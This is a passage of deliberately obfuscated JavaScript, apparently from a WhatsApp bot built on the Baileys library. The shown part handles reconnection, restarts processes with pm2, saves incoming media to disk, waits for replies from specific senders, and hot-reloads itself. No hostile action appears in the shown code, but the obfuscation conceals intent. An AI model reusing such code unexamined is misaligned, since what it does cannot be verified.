x20lo'+'gged\x20out,\x20'+'please\x20res'+'can\x20the\x20QR'+'\x20code');else{if(_0x511fe3===baileys_1['Disconnect'+'Reason']['restartReq'+'uired'])console['log']('Restarting'+'...\x20▶️'),_0x16b8dc();else{console['log']('Restarting'+'\x20due\x20to\x20er'+'ror:\x20',_0x511fe3);const {exec:_0x376444}=require('child_proc'+'ess');_0x376444('pm2\x20restar'+'t\x20all');}}}}}}_0x16b8dc();}}}}),_0x30d2a6['ev']['on']('creds.upda'+'te',_0x2aada1),_0x30d2a6['downloadAn'+'dSaveMedia'+'Message']=async(_0x59e6be,_0x161d4c='',_0x217a9a=!![])=>{const _0x4f6f5c=_0x3fd8a1;let _0x72f431=_0x59e6be[_0x4f6f5c(0x256)]?_0x59e6be['msg']:_0x59e6be,_0x1992ff=(_0x59e6be['msg']||_0x59e6be)['mimetype']||'',_0x12c476=_0x59e6be['mtype']?_0x59e6be[_0x4f6f5c(0x257)]['replace'](/Message/gi,''):_0x1992ff['split']('/')[0x2294+-0x51*-0x25+-0x11*0x2b9];const _0x4c607d=await(0x26ca+0x1ebd+-0x417*0x11,baileys_1['downloadCo'+'ntentFromM'+'essage'])(_0x72f431,_0x12c476);let _0x5abb05=Buffer['from']([]);for await(const _0x18c79f of _0x4c607d){_0x5abb05=Buffer['concat']([_0x5abb05,_0x18c79f]);}let _0x14a2c6=await FileType['fromBuffer'](_0x5abb05),_0x5465ab='./'+_0x161d4c+'.'+_0x14a2c6['ext'];return await fs['writeFileS'+'ync'](_0x5465ab,_0x5abb05),_0x5465ab;},_0x30d2a6['awaitForMe'+'ssage']=async(_0x28468d={})=>{const _0x221df6={'OQBfn':function(_0x443a88,_0x182242){return _0x443a88!==_0x182242;}};return new Promise((_0x20100e,_0x4cefb7)=>{const _0x313a19=_0x59a8,_0x23cbb9={'trYfU':'status@bro'+'adcast','ibaoe':function(_0x194f42,_0x1bb361){return _0x194f42==_0x1bb361;}};if(_0x221df6['OQBfn'](typeof _0x28468d,'object'))_0x4cefb7(new Error('Options\x20mu'+'st\x20be\x20an\x20o'+'bject'));if(typeof _0x28468d['sender']!=='string')_0x4cefb7(new Error('Sender\x20mus'+_0x313a19(0x22a)+'ing'));if(typeof _0x28468d['chatJid']!=='string')_0x4cefb7(new Error('ChatJid\x20mu'+'st\x20be\x20a\x20st'+'ring'));if(_0x28468d[_0x313a19(0x200)]&&typeof _0x28468d['timeout']!=='number')_0x4cefb7(new Error('Timeout\x20mu'+'st\x20be\x20a\x20nu'+'mber'));if(_0x28468d[_0x313a19(0x1fc)]&&_0x221df6['OQBfn'](typeof _0x28468d[_0x313a19(0x1fc)],'function'))_0x4cefb7(new Error('Filter\x20mus'+'t\x20be\x20a\x20fun'+'ction'));const _0x55cb9f=_0x28468d?.['timeout']||undefined,_0x43f221=_0x28468d?.['filter']||(()=>!![]);let _0x16fc14=undefined,_0x20a193=_0x241a7b=>{const _0x397341=_0x313a19;let {type:_0x5f2dc4,messages:_0x900838}=_0x241a7b;if(_0x5f2dc4=='notify')for(let _0x18ede7 of _0x900838){const _0x366eec=_0x18ede7['key']['fromMe'],_0x1bd0dc=_0x18ede7['key'][_0x397341(0x22d)],_0x3cb0eb=_0x1bd0dc['endsWith']('@g.us'),_0x2189e2=_0x1bd0dc==_0x23cbb9['trYfU'],_0x986f4c=_0x366eec?_0x30d2a6['user']['id']['replace'](/:.*@/g,'@'):_0x3cb0eb||_0x2189e2?_0x18ede7['key']['participan'+'t']['replace'](/:.*@/g,'@'):_0x1bd0dc;_0x23cbb9['ibaoe'](_0x986f4c,_0x28468d['sender'])&&_0x1bd0dc==_0x28468d['chatJid']&&_0x43f221(_0x18ede7)&&(_0x30d2a6['ev']['off']('messages.u'+'psert',_0x20a193),clearTimeout(_0x16fc14),_0x20100e(_0x18ede7));}};_0x30d2a6['ev']['on']('messages.u'+_0x313a19(0x254),_0x20a193),_0x55cb9f&&(_0x16fc14=setTimeout(()=>{const _0xaf22b5=_0x313a19;_0x30d2a6['ev'][_0xaf22b5(0x238)]('messages.u'+'psert',_0x20a193),_0x4cefb7(new Error('Timeout'));},_0x55cb9f));});},_0x30d2a6;}let _0xdfc154=require[_0x506dd1(0x24d)](__filename);fs['watchFile'](_0xdfc154,()=>{const _0x7f12ad=_0x506dd1;fs[_0x7f12ad(0x223)+'e'](_0xdfc154),console['log']('Updated\x20'+__filename),delete require['cache'][_0xdfc154],require(_0xdfc154);}),_0x16b8dc();},-0x17cc+0x1*-0x7fa+0x334e); 1153 | --------------------------------------------------------------------------------